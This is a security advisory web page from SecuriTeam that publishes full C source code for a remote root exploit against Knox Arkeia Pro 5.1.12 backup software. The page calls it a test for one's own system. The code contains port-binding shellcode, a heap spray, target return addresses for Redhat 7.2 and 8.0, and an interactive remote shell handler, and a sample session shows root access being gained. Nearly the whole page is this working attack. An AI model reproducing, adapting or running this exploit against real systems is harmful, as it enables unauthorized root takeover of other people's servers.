SecuriTeam - Knox Arkeia Pro Remote Root Exploit

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus

Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs

Brought to you by:

Suppliers of:

SecuriTeam in Your Inbox

New vulnerability?
New tool?
Tell us
(Our PGP key).

CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A remotely exploitable buffer overflow has been found in the Knox Arkeia Pro backup program. The following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by A. C..

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Vulnerable systems:
* Knox Arkeia Pro version 5.1.12

Exploit:
/*
* Knox Arkiea arkiead local/remote root exploit.
*
* Portbind 5074 shellcode
*
* Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
*
* NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
* A previous request forces a large allocation of NOP's + shellcode in heap
* memory. Find additional targets by searching the heap for NOP's after a
* crash. safeaddr must point to any area of memory that is read/writable
* and won't mess with program/shellcode flow.
*
* ./ark_sink host targetnum
* [user@host dir]$ ./ark_sink 192.168.1.2 1
* [*] Connected to 192.168.1.2:617
* [*] Connected to 192.168.1.2:617
* [*] Sending nops+shellcode
* [*] Done, sleeping
* [*] Sending overflow
* [*] Done
* [*] Sleeping and connecting remote shell
* [*] Connected to 192.168.1.2:5074
* [*] Success, enjoy
* id
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
*
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>

#define BUFLEN 10000 /* for getshell() */
#define LEN 280 /* overflow packet data section */
#define HEAD_LEN 8 /* overflow packet header */
#define NOP_LEN 10000 /* nop+shellcode packet */
#define ARK_PORT 617
#define SHELL_PORT 5074
#define NOP 0x90
#define NUMTARGS 2

struct {
  char *os;
  unsigned int targret;
  unsigned int targsafe;
} targets[] = {
  { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
  { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
  NULL
};

/* portbind 5074 */
const char shellcode[] =
"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

unsigned int resolve(char *hostname)
{
  u_long ip = 0;
  struct hostent *hoste;

  if ((int)(ip = inet_addr(hostname)) == -1)
  {
    if ((hoste = gethostbyname(hostname)) == NULL)
    {
      herror("[!] gethostbyname");
      exit(-1);
    }
    memcpy(&ip, hoste->h_addr, hoste->h_length);
  }
  return(ip);
}

int isock(char *hostname, int portnum)
{
  struct sockaddr_in sock_a;
  int num, sock;
  unsigned int ip;
  fd_set input;

  sock_a.sin_family = AF_INET;
  sock_a.sin_port = htons(portnum);
  sock_a.sin_addr.s_addr = resolve(hostname);

  if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  {
    herror("[!] accept");
    exit(-1);
  }

  if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
  {
    herror("[!] connect");
    exit(-1);
  }

  fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
  return(sock);

}

int getshell(int sock)
{

  char buf[BUFLEN];
  int nread=0;

   while(1)
  {
     fd_set input;
     FD_SET(0,&input);
     FD_SET(sock,&input);
     select(sock+1,&input,NULL,NULL,NULL);

    if(FD_ISSET(sock,&input))
    {
       nread=read(sock,buf,BUFLEN);
       write(1,buf,nread);
      }
      if(FD_ISSET(0,&input))
      write(sock,buf,read(0,buf,BUFLEN));
   }
}

int usage(char *progname)
{
  int i;

  fprintf(stderr, "Usage:\n./%s hostname target_num\n");
  for (i = 0; targets[i].os; i++)
    fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
  exit(-1);
}

int main( int argc, char **argv)
{

  /* first 2 bytes are a type 74 request */
  /* last two bytes length */
  char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
  char data[512];
  char sc_req[20000];
  char *host;
  unsigned int tnum;
  unsigned int safeaddr;
  unsigned int ret;
  int datalen = LEN;
  int port = ARK_PORT;
  unsigned int addr = 0;
  int sock_overflow, sock_nops, sock_shell;
  int i;

  if (argc == 3)
  {
    host = argv[1];
    tnum = atoi(argv[2]);
    if (tnum > NUMTARGS || tnum == 0)
    {
      fprintf(stderr, "[!] Invalid target\n");
      usage(argv[0]);
    }
  }
  else
  {
    usage(argv[0]);
  }

  tnum--;
  ret = targets[tnum].targret;
  safeaddr = targets[tnum].targsafe;

  sock_overflow = sock_nops = sock_shell = 0;
  sock_nops = isock(host, port);
  sock_overflow = isock(host, port);

  // build data section of overflow packet
  memset(data, 0x90, datalen);
  for (i = 0; i < datalen; i += 4)
    memcpy(data+i, (char *)&ret, 4);
  // we overwrite a pointer that must be a valid address
  memcpy(data+datalen-12, (char *)&safeaddr, 4);

  // build header of overflow packet
  datalen = ntohs(datalen);
  memcpy(head+6, (char *)&datalen, 2);

  // build invalid packet with nops+shellcode
  memset(sc_req, 0x90, NOP_LEN+1);
  memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

  // send invalid nop+shellcode packet
  fprintf(stderr, "[*] Sending nops+shellcode\n");
  write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
  fprintf(stderr, "[*] Done, sleeping\n");
  sleep(1);
  close(sock_nops);

  // send overflow
  fprintf(stderr, "[*] Sending overflow\n");
  write(sock_overflow, head, HEAD_LEN);
  write(sock_overflow, data, LEN);
  fprintf(stderr, "[*] Done\n");
  fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
  sleep (1);
  close(sock_overflow);

  // connect to shell
  sock_shell = isock(host, SHELL_PORT);
  fprintf(stderr, "[*] Success, enjoy\n");
  getshell(sock_shell);

}

blog comments powered by Disqus

	Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit
	IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS
	Progea Movicon TCPUploadServer Remote Exploit
	Trango Broadband Wireless Rogue SU Authentication Bug
	Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow
	Family Connections Multiple Remote Vulnerabilities
	VideoCache vccleaner Root Vulnerability
	QuickHeal Antivirus 2010 Local Privilege Escalation
	DubSite CMS Cross Site Request Forgery Vulnerability
	SonicWall Global Management System XSS Vulnerability
	Sonicwall NSA E7500 XSS Vulnerability
	Juniper Security Threat Response Manager XSS Vulnerability
	Hacking CSRF Tokens using CSS History Hack
	Sun Java System Identiy Manager Users Enumeration
	Microsoft Internet Explorer XML Buffer Overflow (Exploit)